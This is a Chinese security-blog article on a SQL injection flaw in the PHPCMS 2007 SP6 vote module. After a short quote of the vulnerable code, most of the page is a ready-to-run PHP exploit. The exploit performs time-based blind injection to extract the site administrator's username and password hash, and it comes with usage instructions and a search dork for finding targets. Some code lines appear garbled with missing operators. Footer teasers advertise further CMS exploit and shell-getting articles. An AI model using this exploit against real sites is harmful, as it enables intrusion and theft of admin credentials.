PHPCMS2007 SP6 vote模块SQL注射漏洞的分析

所属分类: 网络安全 / 漏洞分析 阅读数: 83
收藏 0 赞 0 分享

漏洞代码:

vote/vote.php

// 22行
$optionids = is_array($op) ? implode(',',$op) : $op;
...
$db->query("UPDATE ".TABLE_VOTE_OPTION." SET number = number 1 WHERE optionid IN ($optionids) ");

漏洞很明显,没什么好说的,其他地方也有类似的问题,有兴趣的同学可以跟下,下面给个poc性质的exp[由于是盲注,效果不是很好]:p
代码:

#!/usr/bin/php
<?php

print_r('
---------------------------------------------------------------------------
Phpcms 2007 SP6 Bind SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: "Powered by Phpcms 2007"
---------------------------------------------------------------------------
');
/**
* works regardless of php.ini settings
*/
if ($argc < 3) {
print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path
host: target server (ip/hostname)
path: path to phpcms
Example:
php '.$argv[0].' localhost /phpcms/
---------------------------------------------------------------------------
');
exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];

$benchmark = 100000000;
$timeout = 10;

$cmd = 'voteid=999999&attribute=1&op=999999)/**/AND/**/ryat#';
$resp = send();
preg_match('/([a-z0-9] )_vote_option/', $resp, $pre);

if ($pre) {
echo "Plz Waiting...\n";
/**
* get admin password
*/
$j = 1;
$pass = '';

$hash[0] = 0; //null
$hash = array_merge($hash, range(48, 57)); //numbers
$hash = array_merge($hash, range(97, 102)); //a-f letters

while (strlen($pass) < 32) {
for ($i = 0; $i <= 255; $i ) {
if (in_array($i, $hash)) {
$cmd = 'voteid=999999&attribute=1&op=999999)/**/AND/**/(IF((ASCII(SUBSTRING((SELECT/**/password/**/FROM/**/'.$pre[1].'_member/**/WHERE/**/groupid=1/**/LIMIT/**/1),'.$j.',1))='.$i.'),BENCHMARK('.$benchmark.',CHAR(0)),1))#';
send();
usleep(2000000);
$starttime = time();
send();
$endtime = time();
$difftime = $endtime - $starttime;
if ($difftime > $timeout) {
$pass .= chr($i);
echo chr($i);
break;
}
}
if ($i == 255)
exit("\nExploit Failed!\n");
}
$j ;
}
echo "\t";
/**
* get admin username
*/
$j = 1;
$user = '';

while (strstr($user, chr(0)) === false) {
for ($i = 0; i <= 255; $i ) {
$cmd = 'voteid=999999&attribute=1&op=999999)/**/AND/**/(IF((ASCII(SUBSTRING((SELECT/**/username/**/FROM/**/'.$pre[1].'_member/**/WHERE/**/groupid=1/**/LIMIT/**/1),'.$j.',1))='.$i.'),BENCHMARK('.$benchmark.',CHAR(0)),1))#';
send();
usleep(2000000);
$starttime = time();
send();
$endtime = time();
$difftime = $endtime - $starttime;
if ($difftime > $timeout) {
$user .= chr($i);
echo chr($i);
break;
}
if ($i == 255)
exit("\nExploit Failed!\n");
}
$j ;
}

exit("Expoilt Success!\nadmin:\t$user\nPassword(md5):\t$pass\n");
} else
exit("Exploit Failed!\n");

function send()
{
global $host, $path, $cmd;

$message = "POST ".$path."vote/vote.php HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "CLIENT-IP: ".time()."\r\n";
$message .= "Host: $host\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;

$fp = fsockopen($host, 80);
fputs($fp, $message);

$resp = '';

while ($fp && !feof($fp))
$resp .= fread($fp, 1024);

return $resp;
}

?>

更多精彩内容其他人还在看

.Net开发人员常犯的6大安全错误

  微软已经为.Net环境添加了大量的功能,帮助开发人员创建安全的应用程序,例如,身份验证已经成为开发环境集成的一个功能,另外,默认情况下调试消息被禁用掉了。微软对安全的关注程度极大地影响了开发人员,促使他们在软件开发过程中重新评估纳入安全保障的重要性。
收藏 0 赞 0 分享

科汛 KesionCMS 文件名解析漏洞

科汛cms,eshop系统建站第一品牌.专业提供开源cms项目定制服务及名片系统,在线输出,在线印刷,广告制作,在线图文下单系统提供商。
收藏 0 赞 0 分享

科讯 kesioncms 5.5以下漏洞拿shell方法原理总结(图文)

科讯做为一个强大的cms程序大多被政府和教育机构网站所使用,关于科讯的漏洞利用教程网上不是很多。由于科讯的后台登陆需要输入认证码,而认证码没有保存在数据库而是保存在asp文件中,所以在某种程度上增大了拿shell 的难度。下面就个版本拿shell 的方法做一总结。
收藏 0 赞 0 分享

DISCUZ X1.5 本地文件包含漏洞说明

DISCUZX1.5 本地文件包含,当然是有条件的,就是使用文件作为缓存。
收藏 0 赞 0 分享

织梦网官方(dedecms)爆路径最新漏洞

  首发:红科网安   作者:Amxking   漏洞程序:dedecms5.5   测试对象:织梦网CMS官方网站   提交时间:2010-03-17   漏洞类型:信息泄露   危险等级:低   漏洞描述:   dedecms 5.5程序泄露网站路径信息。     测试地址:
收藏 0 赞 0 分享

ewebeditor通杀鸡肋0day漏洞

先访问这个地址 Editor/asp/upload.asp?action=save&type=image&style=popup&cusdir=a.asp 访问这个地址可以建立个A.ASP的文件夹…… 再用这个html代码
收藏 0 赞 0 分享

PHP漏洞全解

PHP网页的安全性问题,针对PHP的网站主要存在下面几种攻击方式
收藏 0 赞 0 分享

ecshop爆绝对路径的bug

  ecshop爆绝对路径的bug   网址如下"   http://www.zzfhw.com/ECShop/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/s
收藏 0 赞 0 分享

dedecms织梦 v5.5 两处跨站漏洞

  影响版本:   dedecms织梦5.5   漏洞描述:   demo1:http://www.dedecms.com/plus/search.php?keyword=%22>&searchtype=titlekeyword&channeltype=0&
收藏 0 赞 0 分享

dedecms 5.6的最新注入漏洞

  最新dedecms 5.6的注入代码:   http://www.dedecms.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2%29%29%20AND%20%22%27%22%20AND%20updatexml%281,%28
收藏 0 赞 0 分享
查看更多